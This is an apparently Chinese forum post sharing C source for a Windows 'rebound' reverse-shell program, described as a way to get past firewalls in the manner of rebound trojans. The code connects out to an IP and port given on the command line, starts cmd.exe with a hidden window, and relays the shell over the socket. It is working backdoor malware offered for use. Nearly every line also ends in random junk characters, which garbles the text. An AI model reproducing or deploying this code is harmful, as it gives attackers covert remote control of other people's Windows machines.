这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2H#N{>7
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/* ============================== H{ M)-
Rebound port in Windows NT `%K`gYhG1
By wind,2006/7 W-2i+g)
===============================*/ 0V,Nv9!S
#include )yee2(S
#include Y,z??bm~J
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#pragma comment(lib,"wsock32.lib") C.a5RF0
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void OutputShell(); *}b]rjsj
SOCKET sClient; hP?fMW$V
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^~ =9
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void main(int argc,char **argv) ,#u\l>&$
{ i`U:gw
WSADATA stWsaData; cH`^D?#se
int nRet; qV1O-^&[f=
SOCKADDR_IN stSaiClient,stSaiServer; O_@2;iD^^
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if(argc != 3) GrEs1M1]*
{ IY(h~O
printf("Useage:\n\rRebound DestIP DestPort\n"); `{<frB@
return; pck >;V
} Qez SJ
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WSAStartup(MAKEWORD(2,2),&stWsaData); H>7dND2;
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oVkq2
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stSaiClient.sin_family = AF_INET; Dk)}|GJ()"
stSaiClient.sin_port = htons(0); =WZ%H_oxi
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); uZjI?Z.A
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vS;'}N
{ VC&c)X
printf("Bind Socket Failed!\n"); ^tAO_~4
return; AY2:[ 5cm
} \^532 FIw6
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stSaiServer.sin_family = AF_INET; t\y-T$\\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v#w _eqg
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); gtU1'p"
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M=!i>(yG
{ s3t!<9[m
printf("Connect Error!"); Q}vbm4)[
return; 'w<BJTQIL
} jp<VK<s]
OutputShell(); iLq#\8t^
} lglYJ,
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void OutputShell() I lG:X)V%
{ \P?ToTTV
char szBuff[1024]; L/r{xS
SECURITY_ATTRIBUTES stSecurityAttributes; vE\lp8j+
OSVERSIONINFO stOsversionInfo; q(]f]Vl|0
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Cw1(5
STARTUPINFO stStartupInfo; 3{J.xWB@:
char *szShell; mBl7{w;Iv
PROCESS_INFORMATION stProcessInformation; =&U`9qN
unsigned long lBytesRead; |qUrEGjiSS
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )s")y
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E20&hc5 8
stSecurityAttributes.lpSecurityDescriptor = 0; ia{kab|_5
stSecurityAttributes.bInheritHandle = TRUE; 9;f|EGwZ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); " ~$$
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1kFjas`g
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); X ,
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "E PD2,%S
stStartupInfo.wShowWindow = SW_HIDE; jXIEp01
stStartupInfo.hStdInput = hReadPipe; p5*lEz|$
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =MSu3<y,
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GetVersionEx(&stOsversionInfo); qi=3L
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switch(stOsversionInfo.dwPlatformId) pCt}66k}
{ #)74X%4(
case 1: !IAKVQ
szShell = "command.com"; DX@}!6|T
break; FBYODw
default: B=zMYi
szShell = "cmd.exe"; Q=+8/b
break; nR'#s%Kj
} *SZ>upg
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \iZ1W
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send(sClient,szMsg,77,0); njMLyT($
while(1) Q4%IxR?
{ lO2k<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); xH$%5@~
if(lBytesRead) T-P@u-DU
{ T
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0xBY(#;Q
send(sClient,szBuff,lBytesRead,0); R<g =\XO'y
} JuJ5qIal
else Kym:J \}9B
{ [ X|OrRA
lBytesRead=recv(sClient,szBuff,1024,0); FmA-OqEpA
if(lBytesRead<=0) break; c!D> {N
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Zr"dOj$Jf
} (3fPt;U
} v*DFiCQD
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return; l<RfRqjw
}